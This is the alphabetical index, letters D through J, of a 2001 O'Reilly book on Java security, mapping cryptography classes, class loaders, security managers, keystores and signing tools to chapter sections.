Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: D

data authentication: 7.1.2. Data Authentication
Data Encryption Standard (see DES)
decryption: 13.5. Encrypting Data
13.5.1. Using the Cipher Class
default
access level: 2.1. Java Language Security Constructs
class loader: 3.2.1. The Internal Class Loader
security policy: 5.3.1. The Default Policy
6.3.6. Establishing a Security Policy in 1.2
defineClass( )
ClassLoader class: 3.4.1.1. Protected methods in the ClassLoader class
ProtectionDomain class: 5.4. Protection Domains
SecureClassLoader class: 3.4.2.1. Protected methods of the SecureClassLoader class
defining classes: 6.2.1. The Class Loader and the Security Manager
delayed bytecode verification: 2.2.2.2. Delayed bytecode verification
delegation model for loading classes: 3.6.1. Delegation
-delete option (keystore): A.1.5. Deleting Keystore Entries
deleteEntry( ), KeyStore class: 11.2. The KeyStore Class
deleting files: 4.3.2. Methods Relating to File Access
depth, class loader: 6.1.1. The Class Loader Depth
DES (Data Encryption Standard): 13.5.2. Cipher Algorithms
DESede algorithm: 13.5.2. Cipher Algorithms
DESedeKeySpec class: 13.4.2.1. Secret key specifications
D.7. Package javax.crypto.spec
DESKeySpec class: 13.4.2.1. Secret key specifications
D.7. Package javax.crypto.spec
DESParameterSpec class: 13.4.2.1. Secret key specifications
D.7. Package javax.crypto.spec
Diffie-Hellman algorithm
DHGenParameterSpec class: 13.4.2.1. Secret key specifications
D.7. Package javax.crypto.spec
DHKey interface: 13.3. Key Types in the JCE
D.6. Package javax.crypto.interfaces
DHParameterSpec class: 13.4.2.1. Secret key specifications
D.7. Package javax.crypto.spec
DHPrivateKey interface: 13.3. Key Types in the JCE
13.3. Key Types in the JCE
D.6. Package javax.crypto.interfaces
DHPrivateKeySpec interface: D.7. Package javax.crypto.spec
DHPublicKey interface: 13.3. Key Types in the JCE
D.6. Package javax.crypto.interfaces
DHPublicKeySpec class: 13.4.2.1. Secret key specifications
13.4.2.1. Secret key specifications
D.7. Package javax.crypto.spec
key agreement algorithm: 13.7. Symmetric Key Agreement
digest( ), MessageDigest class: 9.1. Using the Message Digest Class
DigestInputStream class: 9.2.2. The DigestInputStream Class
D.1. Package java.security
DigestOutputStream class: 9.2.1. The DigestOutputStream Class
D.1. Package java.security
digests (see message digests)
digital fingerprints (see message digests)
digital signatures: 1.3.1. Anatomy of a Java Application
7. Introduction to Cryptography
7.3.3. Digital Signatures
7.3.3. Digital Signatures
12. Digital Signatures
certificates and (see certificates)
encryption vs.: 7.1.2. Data Authentication
Signature class: 12.1. The Signature Class
D.1. Package java.security
implementing: 12.3. Implementing a Signature Class
SignatureSpi class: D.1. Package java.security
signed classes: 12.2. Signed Classes
signed JAR files
reading: 12.2.1. Reading Signed JAR Files
security policy and: 12.2.2. The Signed JAR File and Security Policies
SignedObject class: 12.1.2. The SignedObject Class
D.1. Package java.security
of SIGNER.SF file: A.2. The jarsigner Tool
distinguished names (DNs): 11.1.1. Principals
A.1. The keytool
-dname option (keytool): A.1.1. Global Options to keytool
DNs (distinguished names): 11.1.1. Principals
A.1. The keytool
DNS spoofing: 7.1.1. Author Authentication
C.1.1. Java Security Bugs
doFinal( ), Cipher class: 13.5.1. Using the Cipher Class
domains, protection (see protection domains)
doPhase( ), KeyAgreement class: 13.7. Symmetric Key Agreement
doPrivileged( ): 6.1.1. The Class Loader Depth
DSA algorithm
DSAKey interface: 10.1.1.1. DSA keys
D.3. Package java.security.interfaces
DSAKeyPairGenerator interface: 10.2.2. Generating DSA Keys
D.3. Package java.security.interfaces
DSAParameterSpec class: 10.3.3.2. The AlgorithmParameterSpec interface
D.4. Package java.security.spec
DSAParams interface: 10.1.1.1. DSA keys
D.3. Package java.security.interfaces
DSAPrivateKey interface: 10.1.1.1. DSA keys
D.3. Package java.security.interfaces
D.3. Package java.security.interfaces
DSAPrivateKeySpec class: 10.3.3.2. The AlgorithmParameterSpec interface
D.4. Package java.security.spec
DSAPublicKey interface: 10.1.1.1. DSA keys
D.3. Package java.security.interfaces
D.3. Package java.security.interfaces
DSAPublicKeySpec class: 10.3.3.2. The AlgorithmParameterSpec interface
D.4. Package java.security.spec
keys for: 10.1.1.1. DSA keys
generating: 10.2.2. Generating DSA Keys
.DSA filename extension: 12.2.1. Reading Signed JAR Files

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: E

ECB encryption mode: 13.5. Encrypting Data
electronic cookbook encryption mode: 13.5. Encrypting Data
elements( ), PermissionCollection class: 5.2.5. Permission Collections
encapsulation: 2.1. Java Language Security Constructs
EncodedKeySpec class: 10.3.3.1. The EncodedKeySpec class
D.4. Package java.security.spec
encoding keys: 10.1.1. The Key Interface
10.3.3.1. The EncodedKeySpec class
encryption
authentication vs.: 7.1.2. Data Authentication
cipher algorithms: 13.5.2. Cipher Algorithms
Cipher class: 13.2. The Sun Security Provider in the JCE
13.5. Encrypting Data
D.5. Package javax.crypto
cipher streams: 13.6. Cipher Streams
Diffie-Hellman (see Diffie-Hellman algorithm)
export restrictions: 13.1. Export Restrictions
of keystores: 11.2. The KeyStore Class
of message digests: 9.1.1. Secure Message Digests
modes of: 13.5. Encrypting Data
NullCipher class: 13.5.1. Using the Cipher Class
D.5. Package javax.crypto
padding schemes: 13.5. Encrypting Data
13.5. Encrypting Data
of private keys: 11.3. A Key Management Example
process of: 13.5. Encrypting Data
public key encryption: 7.3.2. Cryptographic Keys
generating public keys: 10.3.2. Implementing a Key Factory
importing public keys: 10.3.1. Using the KeyFactory class
including key with signatures: 12.1.3. Signing and Certificates
PublicKey class: D.1. Package java.security
PublicKey interface: 10.1.1. The Key Interface
RSA (see RSA encryption)
sealed classes: 13.8. Sealed Objects
D.5. Package javax.crypto
SSL encryption: 7.1.3. Java's Role in Authentication
13.6.3. SSL Encryption
symmetric key agreements: 13.7. Symmetric Key Agreement
encryption engines: 7.3.4. Encryption Engines
enforcing Java language rules: 2.2. Enforcement of the Java Language Rules
engineDigest( ), MessageDigest class: 9.3. Implementing a MessageDigest Class
engineDoFinal( ), Cipher class: 13.5.3. Implementing the Cipher Class
engineGeneratePrivate( ), KeyFactorySpi class: 10.3.2. Implementing a Key Factory
engineGeneratePublic( ), KeyFactorySpi class: 10.3.2. Implementing a Key Factory
engineGetBlockSize( ), Cipher class: 13.5.3. Implementing the Cipher Class
engineGetDigestLength( ), MessageDigest class: 9.3. Implementing a MessageDigest Class
engineGetIV( ), Cipher class: 13.5.3. Implementing the Cipher Class
engineGetOutputSize( ), Cipher class: 13.5.3. Implementing the Cipher Class
engineGetParameter( ), Signature class: 12.3. Implementing a Signature Class
engineReset( ): 9.3. Implementing a MessageDigest Class
engines, security: 8.1. The Architecture of Security Providers
classes for: 8.1.1. Components of the Architecture
8.4. The Architecture of Engine Classes
cryptography: 7.3. Cryptographic Engines
encryption: 7.3.4. Encryption Engines
key-related: 10. Keys and Certificates
message digests: 9.3. Implementing a MessageDigest Class
secret keys: 13.4. Secret Key Engines
engineSetMode( ), Cipher class: 13.5.3. Implementing the Cipher Class
engineSetPadding( ), Cipher class: 13.5.3. Implementing the Cipher Class
engineSetParameter( ), Signature class: 12.3. Implementing a Signature Class
engineUpdate( )
Cipher class: 13.5.3. Implementing the Cipher Class
MessageDigest class: 9.3. Implementing a MessageDigest Class
Signature class: 12.3. Implementing a Signature Class
engineVerify( ), Signature class: 12.3. Implementing a Signature Class
entries, keystore: 11.2. The KeyStore Class
11.2. The KeyStore Class
equals( )
CodeSource class: 5.1. The CodeSource Class
Identity class: B.1.1.1. Using the identity class
B.1.1.2. Implementing an Identity class
evaluate( ), Policy class: 5.3. The Policy Class
event queue, access to: 4.3.6. Methods Protecting System Resources
expanding properties: 5.3. The Policy Class
expandProperties property: 5.3. The Policy Class
-export option (keystore): A.1.6. Examining Keystore Data
exporting
certificates: A.1.6. Examining Keystore Data
cryptographic keys: 10.3. The KeyFactory Class
encryption technology: 13.1. Export Restrictions
keys from key specification classes: 13.4.2.1. Secret key specifications
extending class loaders: 3.5. Extensions to the Class Loader
Externalizable interface: 2.1.1. Object Serialization and Memory Integrity

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: F

file access methods: 6.3.7.3. Implementing the file access methods
file-access methods, security manager: 4.3.2. Methods Relating to File Access
-file option (keytool): A.1.2. Adding a Certificate Entry
A.1.3. Adding a Key Entry
FilePermission class: 5.2.2. Permissions of the Java API
6.3.6. Establishing a Security Policy in 1.2
D.8. Miscellaneous Packages
final variables (constants): 2.1. Java Language Security Constructs
2.2.2. The Bytecode Verifier
finding loaded classes: 3.4.1.1. Protected methods in the ClassLoader class
findLoadedClass( ), ClassLoader class: 3.4.1.1. Protected methods in the ClassLoader class
findLocalClass( ), ClassLoader class: 3.4.1.1. Protected methods in the ClassLoader class
3.4.2.1. Protected methods of the SecureClassLoader class
defining classes in packages: 3.4.3. Implementing Security Policies in the Class Loader
findResource( ), ClassLoader class: 3.6.2. Loading Resources
findResources( ), ClassLoader class: 3.6.2. Loading Resources
findSystemClass( ), ClassLoader class: 3.4.1.1. Protected methods in the ClassLoader class
3.4.1.1. Protected methods in the ClassLoader class
6.1. Protected Methods of the Security Manager
flush( ), CipherOutputStream and: 13.6.1. The CipherOutputStream Class
forging digital signatures: 7.3.3. Digital Signatures
forName( ), Class class: 1.4.1. Outline of the JavaRunner Application

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: G

generateKeyPair( ), KeyPairGenerator class: 10.2.1. Using the KeyPairGenerator Class
10.2.3. Implementing a Key Pair Generator
generatePrivate( ), KeyFactory class: 10.3.1. Using the KeyFactory class
generatePublic( ), KeyFactory class: 10.3.1. Using the KeyFactory class
generateSecret( )
KeyAgreement class: 13.7. Symmetric Key Agreement
SecretKeyFactory class: 13.4.2. The SecretKeyFactory Class
generating key pairs: 10.2.1. Using the KeyPairGenerator Class
10.2.3. Implementing a Key Pair Generator
A.1.3. Adding a Key Entry
-genkey option (keytool): A.1.3. Adding a Key Entry
genKeyPair( ), KeyPairGenerator class: 10.2.1. Using the KeyPairGenerator Class
getActions( ), Permission class: 5.2.3. Using the Permission Class
5.2.3. Using the Permission Class
getAlgorithm( )
Key interface: 10.1.1. The Key Interface
KeyAgreement class: 13.7. Symmetric Key Agreement
KeyPairGenerator class: 10.2.1. Using the KeyPairGenerator Class
Signature class: 12.1.1. Using the Signature Class
SignedObject class: 12.1.2. The SignedObject Class
getBlockSize( ), Cipher class: 13.5.1. Using the Cipher Class
getByName( ), inCheck variable and: 6.1.2. Protected Instance Variables in the Security Manager
getCanonicalPath( ), File class: 6.3.7.3. Implementing the file access methods
getCertificate( ), KeyStore class: 11.2. The KeyStore Class
getCertificateAlias( ), KeyStore class: 11.2. The KeyStore Class
getCertificateChain( ), KeyStore class: 11.2. The KeyStore Class
getCertificates( ), Identity class: B.1.1.1. Using the identity class
getClassContext( ), SecurityManager class: 6.1. Protected Methods of the Security Manager
getCodeSource( ), ProtectionDomain class: 5.4. Protection Domains
getContent( ), SignedObject class: 12.1.2. The SignedObject Class
getCreationData( ), KeyStore class: 11.2. The KeyStore Class
getEncoded( )
Key interface: 10.1.1. The Key Interface
X509CRL class: 10.4.5. Revoked Certificates
getFormat( ), Key interface: 10.1.1. The Key Interface
getIdentity( ), IdentityScope class: B.2.1. Using the IdentityScope Class
B.2.3. IdentityScope and the Security Manager
getInCheck( ), SecurityManager class: 6.1.2. Protected Instance Variables in the Security Manager
getInfo( ), Provider class: 8.2.1. Using the Provider Class
getInstance( )
Cipher class: 13.5.1. Using the Cipher Class
KeyAgreement class: 13.7. Symmetric Key Agreement
Signature class: 12.1.1. Using the Signature Class
getIssuerDN( ), X509CRL class: 10.4.5. Revoked Certificates
getIV( ), Cipher class: 13.5.1. Using the Cipher Class
getKeys( ), CodeSource class: 5.1. The CodeSource Class
getName( )
Identity class: B.1.1.1. Using the identity class
Principal interface: 11.1.1. Principals
Provider class: 8.2.1. Using the Provider Class
getNextEntry( ), ClassLoader class: 3.5.2. A JAR File Class Loader
getNextJarEntry( ), ClassLoader class: 3.5.2. A JAR File Class Loader
getNextUpdate( ), X509CRL class: 10.4.5. Revoked Certificates
getObject( )
GuardedObject class: 5.6. Guarded Objects
SealedObject class: 13.8. Sealed Objects
getOutputSize( ), Cipher class: 13.5.1. Using the Cipher Class
getP( ), DSAAlgorithmParameterSpec class: 10.3.3.2. The AlgorithmParameterSpec interface
getParameter( ), Signature class: 12.1.1. Using the Signature Class
getParams( ), DSAParams interface: 10.1.1.1. DSA keys
getPermissions( ), ProtectionDomain class: 5.4. Protection Domains
getPolicy( ), Policy class: 5.3. The Policy Class
getPrivate( ), KeyPair class: 10.1.2. The KeyPair Class
getPrivateKey( )
KeyStore class: 11.2. The KeyStore Class
Signer class: B.1.2.1. Using the Signer class
getProvider( )
Cipher class: 13.5.1. Using the Cipher Class
KeyAgreement class: 13.7. Symmetric Key Agreement
Security class: 8.3. The Security Class
Signature class: 12.1.1. Using the Signature Class
getProviders( ), Security class: 8.3. The Security Class
getPublic( ), KeyPair class: 10.1.2. The KeyPair Class
getPublicKey( ), Identity class: B.1.1.1. Using the identity class
getQ( ), DSAAlgorithmParameterSpec class: 10.3.3.2. The AlgorithmParameterSpec interface
getResource( ), ClassLoader class: 3.6.2. Loading Resources
getResourceAsStream( ), ClassLoader class: 3.6.2. Loading Resources
getResources( ), ClassLoader class: 3.6.2. Loading Resources
getRevokedCertificate( ), X509CRL class: 10.4.5. Revoked Certificates
getRevokedCertificates( ), X509CRL class: 10.4.5. Revoked Certificates
getScope( ), Identity class: B.1.1.1. Using the identity class
getSecurityManager( ), SecurityManager class: 4.3.1. Setting a Security Manager
getSigAlgName( ), X509CRL class: 10.4.5. Revoked Certificates
getSigAlgParams( ), X509CRL class: 10.4.5. Revoked Certificates
getSignature( )
SignedObject class: 12.1.2. The SignedObject Class
X509CRL class: 10.4.5. Revoked Certificates
getSystemResource( ), ClassLoader class: 3.6.2. Loading Resources
getSystemResourceAsStream( ), ClassLoader class: 3.6.2. Loading Resources
getSystemScope( ), IdentityScope class: B.2.1. Using the IdentityScope Class
getTBSCertificate( ), X509Certificate class: 10.4.4. Advanced X509Certificate Methods
getTBSCertList( ), X509CRL class: 10.4.5. Revoked Certificates
getThisUpdate( ), X509CRL class: 10.4.5. Revoked Certificates
getThreadGroup( ), SecurityManager class: 4.3.5. Methods Protecting Program Threads
implementing thread security: 6.3.4. Implementing Thread Security
getTrust( ) (example): 6.2. Security Managers and the Class Loader
getVersion( )
Provider class: 8.2.1. Using the Provider Class
X509CRL class: 10.4.5. Revoked Certificates
government restrictions on encryption: 13.1. Export Restrictions
Guard interface: D.1. Package java.security
guarded objects: 5.6. Guarded Objects
GuardedObject class: 5.6. Guarded Objects
D.1. Package java.security

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: H

-help option (keystore): A.1.8. Miscellaneous Commands
help (resources for further reading): C. Security Resources
hierarchy, thread: 4.3.5. Methods Protecting Program Threads
http-tunneling: 4.3.3. Methods Relating to Network Access
HttpURLConnection class: 4.3.3. Methods Relating to Network Access

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: I

identities, key: B. Identity-Based Key Management
B.1. Identities
creating: B.3.4. Creating Identities
Identity class: B.1.1. The Identity Class
D.1. Package java.security
security manager and: B.1.1.3. The Identity class and the security manager
identity scopes: B.2. Identity Scopes
D.1. Package java.security
key management in: B.3. Key Management in an Identity Scope
shared: B.3.3. A Shared System Identity Scope
writing: B.2.2. Writing an Identity Scope
IdentityScope class: B.2. Identity Scopes
D.1. Package java.security
security managers and: B.2.3. IdentityScope and the Security Manager
Principle interface: 11.1.1. Principals
security managers and: B.2.3. IdentityScope and the Security Manager
signers: B.1.2. Signers
B.3.2. Implementing a Signer Class
D.1. Package java.security
identitydb.obj file: B.2.1. Using the IdentityScope Class
identityEquals( ), Identity class: B.1.1.2. Implementing an Identity class
-ids option (jarsigner): A.2.2. Verifying a JAR File
implies( )
Permission class: 5.2.3. Using the Permission Class
5.2.3. Using the Permission Class
PermissionCollection class: 5.2.5. Permission Collections
ProtectionDomain class: 5.4. Protection Domains
-import option (keytool): A.1.2. Adding a Certificate Entry
importing
cryptographic keys: 10.3. The KeyFactory Class
from key specification classes: 13.4.2.1. Secret key specifications
entries into keystore: A.1.2. Adding a Certificate Entry
inCheck variable: 6.1.2. Protected Instance Variables in the Security Manager
inClass( ), SecurityManager class: 6.1. Protected Methods of the Security Manager
inClassLoader( ), SecurityManager class: 6.1. Protected Methods of the Security Manager
InetAddress class: 6.1.2. Protected Instance Variables in the Security Manager
init( ), Cipher class: 13.5.1. Using the Cipher Class
initialize( ), KeyPairGenerator class: 10.2.3. Implementing a Key Pair Generator
initializing key pair generators: 10.2.1. Using the KeyPairGenerator Class
initializing keystores: 11.2. The KeyStore Class
initializing variables: 2.1. Java Language Security Constructs
initSign( ), Signature class: 12.1.1. Using the Signature Class
initVerify( ), Signature class: 12.1.1. Using the Signature Class
input streams
cipher streams: 13.6.2. The CipherInputStream Class
D.5. Package javax.crypto
DigestInputStream class: D.1. Package java.security
input streams, message digest: 9.2.2. The DigestInputStream Class
installing keystores: 11.3.1. Installing a KeyStore Class
integrity of memory: 2.1. Java Language Security Constructs
2.1.1. Object Serialization and Memory Integrity
internal class loader: 3.2.1. The Internal Class Loader
invokeMain( ) (example): 1.4.1. Outline of the JavaRunner Application
IP spoofing: 7.1.1. Author Authentication
C.1.1. Java Security Bugs
isCertificateEntry( ), KeyStore class: 11.2. The KeyStore Class
isKeyEntry( ), KeyStore class: 11.2. The KeyStore Class

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: J

JAR files
creating with jarsigner: A.2. The jarsigner Tool
keystores in: 11.2. The KeyStore Class
loading classes from: 3.5.2. A JAR File Class Loader
signing: A.2.1. Creating a Signed JAR File
reading signed files: 12.2.1. Reading Signed JAR Files
security policy and: 12.2.2. The Signed JAR File and Security Policies
verifying: A.2.2. Verifying a JAR File
jarsigner utility: 11.2. The KeyStore Class
A.2. The jarsigner Tool
Java
applets (see applets)
applications (see applications)
1.4. Running a Java Application
authentication and: 7.1.3. Java's Role in Authentication
compiler (see compiler)
encryption and: 7.1.2. Data Authentication
7.1.2. Data Authentication
(see also encryption)
enforcing language rules: 2.2. Enforcement of the Java Language Rules
key management: 11. Key Management
11.2. The KeyStore Class
language security constructs: 2.1. Java Language Security Constructs
sandbox model: 1.2. The Java Sandbox
1.2. The Java Sandbox
(see also sandboxes)
signed classes and: 12.2. Signed Classes
security bugs: C.1.1. Java Security Bugs
security policies in Java 1.2: 6.3.6. Establishing a Security Policy in 1.2
versions of: 0.2. Versions Used in This Book
secure applications and: 1.4.2. Built-in Java Application Security
trusted classes: 4.2. Trusted and Untrusted Classes
virtual machine (see virtual machine)
Java API
permissions of: 5.2.2. Permissions of the Java API
security managers and: 4.1.1. Security Managers and the Java API
6. Implementing Security Policies
java.awt.AWTPermission class: 5.2.2. Permissions of the Java API
6.3.6. Establishing a Security Policy in 1.2
D.8. Miscellaneous Packages
java.crypto package: D.5. Package javax.crypto
Java Cryptography Extension (JCE): 7.3.4. Encryption Engines
java.io.Externalizable interface: 2.1.1. Object Serialization and Memory Integrity
java.io.FilePermission class: 5.2.2. Permissions of the Java API
6.3.6. Establishing a Security Policy in 1.2
D.8. Miscellaneous Packages
java.io.Serializable interface: 2.1.1. Object Serialization and Memory Integrity
java.io.SerializablePermission class: 5.2.2. Permissions of the Java API
D.8. Miscellaneous Packages
java.lang.ClassLoader class: D.8. Miscellaneous Packages
java.lang.reflect.ReflectPermission class: 5.2.2. Permissions of the Java API
D.8. Miscellaneous Packages
java.lang.RuntimePermission class: 5.2.2. Permissions of the Java API
6.3.6. Establishing a Security Policy in 1.2
D.8. Miscellaneous Packages
java.lang.SecurityMnager class: 4.1.1. Security Managers and the Java API
6.3.6. Establishing a Security Policy in 1.2
D.8. Miscellaneous Packages
java.net.NetPermission class: 5.2.2. Permissions of the Java API
6.3.6. Establishing a Security Policy in 1.2
D.8. Miscellaneous Packages
java.net.SocketPermission class: 5.2.2. Permissions of the Java API
6.3.6. Establishing a Security Policy in 1.2
D.8. Miscellaneous Packages
java.net.URLClassLoader class: D.8. Miscellaneous Packages
java.policy files
administering by hand: A.4.2. The java.policy File
default security policy: 6.3.6. Establishing a Security Policy in 1.2
managing entries with policytool: A.3. The policytool
sharing keystores via: 11.3. A Key Management Example
Java properties (see properties)
Java reflection API: 1.4.1. Outline of the JavaRunner Application
java.rmi.RMISecurityManager class: 6.3.7.1. The RMI security manager
D.8. Miscellaneous Packages
java.rmi.server.RMIClassLoader class: 3.2.3. The RMI Class Loader
3.2.6. Choosing the Right Class Loader
D.8. Miscellaneous Packages
java.security.AccessControlContext class: 6.3.6. Establishing a Security Policy in 1.2
D.1. Package java.security
java.security.AccessController class: 5.5. The AccessController Class
D.1. Package java.security
java.security.AlgorithmParameterGenerator class: D.1. Package java.security
java.security.AlgorithmParameterGeneratorSpi class: D.1. Package java.security
java.security.AlgorithmParameters class: D.1. Package java.security
java.security.AlgorithmParametersSpi class: D.1. Package java.security
java.security.AllPermission class: 5.2.2. Permissions of the Java API
D.1. Package java.security
java.security.BasicPermission class: 5.2.4. The BasicPermission Class
D.1. Package java.security
java.security.cert package: D.2. Package java.security.cert
java.security.cert.RevokedCertificate class: D.2. Package java.security.cert
java.security.cert.X509CRL class: 10.4.5. Revoked Certificates
D.2. Package java.security.cert
java.security.cert.X509Extension class: D.2. Package java.security.cert
java.security.CodeSource class: 5.1. The CodeSource Class
D.1. Package java.security
java.security.DigestInputStream class: 9.2.2. The DigestInputStream Class
D.1. Package java.security
java.security.DigestOutputStream class: 9.2.1. The DigestOutputStream Class
D.1. Package java.security
java.security file: 5.3.1. The Default Policy
administering by hand: A.4.1. The java.security File
code of (Java 1.2): 5.3.1. The Default Policy
java.security.Guard interface: D.1. Package java.security
java.security.GuardedObject class: 5.6. Guarded Objects
D.1. Package java.security
java.security.interfaces.DSAKey interface: 10.1.1.1. DSA keys
java.security.interfaces.DSAKeyPair-Generator interface: 10.2.2. Generating DSA Keys
D.3. Package java.security.interfaces
java.security.interfaces.DSAParams interface: 10.1.1.1. DSA keys
D.3. Package java.security.interfaces
java.security.interfaces package: D.3. Package java.security.interfaces
java.security.Key interface: 10.1.1. The Key Interface
D.1. Package java.security
java.security.KeyFactory class: 10.3. The KeyFactory Class
D.1. Package java.security
java.security.KeyFactorySpi class: 10.3.2. Implementing a Key Factory
D.1. Package java.security
java.security.KeyPair class: 10.1.2. The KeyPair Class
D.1. Package java.security
java.security.KeyPairGenerator class: 10.2. The KeyPairGenerator Class
java.security.MessageDigest class: 9. Message Digests
D.1. Package java.security
java.security.MessageDigestSpi class: D.1. Package java.security
java.security package (see security package)
java.security.Permission class: 5.2. Permissions
5.2.3. Using the Permission Class
D.1. Package java.security
java.security.PermissionCollection class: 5.2.5. Permission Collections
D.1. Package java.security
java.security.Permissions class: 5.2.6. The Permissions Class
D.1. Package java.security
java.security.Policy class: 5.3. The Policy Class
D.1. Package java.security
java.security.PolicyFile class: 5.3. The Policy Class
java.security.Principal interface: D.1. Package java.security
java.security.PrivateKey interface: D.1. Package java.security
java.security.ProtectionDomain class: 5.4. Protection Domains
D.1. Package java.security
java.security.Provider class: 8.2. The Provider Class
D.1. Package java.security
java.security.SecureClassLoader class: 3.2.4. The Secure Class Loader
D.1. Package java.security
java.security.SecureRandom class: D.1. Package java.security
java.security.Security class: 8.3. The Security Class
D.1. Package java.security
java.security.SecurityPermission class: 5.2.2. Permissions of the Java API
D.1. Package java.security
java.security.Signature class: 12.1. The Signature Class
D.1. Package java.security
implementing: 12.3. Implementing a Signature Class
java.security.SignatureSpi class: D.1. Package java.security
java.security.SignedObject class: 12.1.2. The SignedObject Class
D.1. Package java.security
java.security.spec.AlgorithmParameterSpec interface: 10.3.3.2. The AlgorithmParameterSpec interface
D.4. Package java.security.spec
java.security.spec.DSAParameterSpec class: 10.3.3.2. The AlgorithmParameterSpec interface
10.3.3.2. The AlgorithmParameterSpec interface
D.4. Package java.security.spec
java.security.spec.EncodedKeySpec class: 10.3.3.1. The EncodedKeySpec class
D.4. Package java.security.spec
java.security.spec.KeySpec interface: 10.3.3. Key Specifications
D.4. Package java.security.spec
java.security.spec package: D.4. Package java.security.spec
java.security.spec.PKCS8EncodedKeySpec class: 10.3.3.1. The EncodedKeySpec class
D.4. Package java.security.spec
java.security.spec.X509EncodedKeySpec class: 10.3.3.1. The EncodedKeySpec class
D.4. Package java.security.spec
java.security.UnresolvedPermission class: 5.2.2. Permissions of the Java API
D.1. Package java.security
java.util.jar package: 3.5.2. A JAR File Class Loader
java.util.PropertyPermission class: 5.2.2. Permissions of the Java API
D.8. Miscellaneous Packages
java.util.zip package: 3.5.2. A JAR File Class Loader
javac (see compiler)
javakey utility: 11.1. Overview of Key Management
JavaRunner program (example)
loading classes: 3.3. Loading Classes
outline of: 1.4.1. Outline of the JavaRunner Application
running as secure: 6.4.1. The Secure JavaRunner Program
JavaRunnerLoader class (example): 3.3. Loading Classes
JAR file support: 3.5.2. A JAR File Class Loader
JavaRunnerManager class (example): 6.3.6. Establishing a Security Policy in 1.2
java.security.cert.Certificate class: 10.4. Certificates
D.2. Package java.security.cert
java.security.Certificate interface: 10.4. Certificates
java.security.cert.X509Certificate class: 10.4.3. The X509Certificate Class
D.2. Package java.security.cert
java.security.Identity class: B.1.1. The Identity Class
D.1. Package java.security
java.security.IdentityScope class: B.2. Identity Scopes
B.2. Identity Scopes
D.1. Package java.security
java.security.KeyStore class: 11.2. The KeyStore Class
D.1. Package java.security
java.security.Principle interface: 11.1.1. Principals
java.security.PublicKey class: D.1. Package java.security
java.security.Signer class: B.1.2. Signers
B.3.2. Implementing a Signer Class
D.1. Package java.security
javax.crypto.Cipher class: 13.2. The Sun Security Provider in the JCE
13.5. Encrypting Data
D.5. Package javax.crypto
javax.crypto.CipherInputStream class: 13.6.2. The CipherInputStream Class
D.5. Package javax.crypto
javax.crypto.CipherOutputStream class: 13.6.1. The CipherOutputStream Class
D.5. Package javax.crypto
javax.crypto.CipherSpi class: 13.5.3. Implementing the Cipher Class
D.5. Package javax.crypto
javax.crypto.interfaces package: 13.3. Key Types in the JCE
D.6. Package javax.crypto.interfaces
javax.crypto.interfaces.RSAPrivateKey interface: D.3. Package java.security.interfaces
javax.crypto.interfaces.RSAPublicKey interface: D.7. Package javax.crypto.spec
javax.crypto.KeyAgreement class: 13.2. The Sun Security Provider in the JCE
13.7. Symmetric Key Agreement
D.5. Package javax.crypto
javax.crypto.KeyAgreementSpi class: D.5. Package javax.crypto
javax.crypto.KeyGenerator class: 13.2. The Sun Security Provider in the JCE
13.4.1. The KeyGenerator Class
D.5. Package javax.crypto
javax.crypto.KeyGeneratorSpi class: D.5. Package javax.crypto
javax.crypto.NullCipher class: 13.5.1. Using the Cipher Class
D.5. Package javax.crypto
javax.crypto.SecretKey class: D.5. Package javax.crypto
javax.crypto.SealedObject class: 13.8. Sealed Objects
D.5. Package javax.crypto
javax.crypto.SecretKeyFactory class: 13.2. The Sun Security Provider in the JCE
13.4.2. The SecretKeyFactory Class
D.5. Package javax.crypto
javax.crypto.spec.DESedeKeySpec class: 13.4.2.1. Secret key specifications
D.7. Package javax.crypto.spec
javax.crypto.spec.DESKeySpec class: 13.4.2.1. Secret key specifications
D.7. Package javax.crypto.spec
javax.crypto.spec.DESParameterSpec class: 13.4.2.1. Secret key specifications
D.7. Package javax.crypto.spec
javax.crypto.spec.DHGenParameterSpec class: 13.4.2.1. Secret key specifications
D.7. Package javax.crypto.spec
javax.crypto.spec.DHParameterSpec class: 13.4.2.1. Secret key specifications
D.7. Package javax.crypto.spec
javax.crypto.spec.DHPrivateKeySpec class: 13.3. Key Types in the JCE
D.7. Package javax.crypto.spec
javax.crypto.spec.DHPublicKeySpec class: 13.4.2.1. Secret key specifications
13.4.2.1. Secret key specifications
D.7. Package javax.crypto.spec
javax.crypto.spec package: D.7. Package javax.crypto.spec
javax.crypto.spec.PBEKeySpec class: 13.4.2.1. Secret key specifications
D.7. Package javax.crypto.spec
javax.crypto.spec.PBEParameterSpec class: 13.4.2.1. Secret key specifications
D.7. Package javax.crypto.spec
javax.crypto.spec.RSAPrivateKeyCrtSpec class: 13.4.2.1. Secret key specifications
javax.crypto.spec.RSAPrivateKeySpec class: 13.4.2.1. Secret key specifications
D.4. Package java.security.spec
javax.crypto.spec.RSAPublicKeySpec class: 13.4.2.1. Secret key specifications
D.4. Package java.security.spec
JCE (Java Cryptography Extension): 7.3.4. Encryption Engines
cipher streams: 13.6. Cipher Streams
encrypting data: 13.5. Encrypting Data
export restrictions: 13.1. Export Restrictions
key types in: 13.3. Key Types in the JCE
sealed classes: 13.8. Sealed Objects
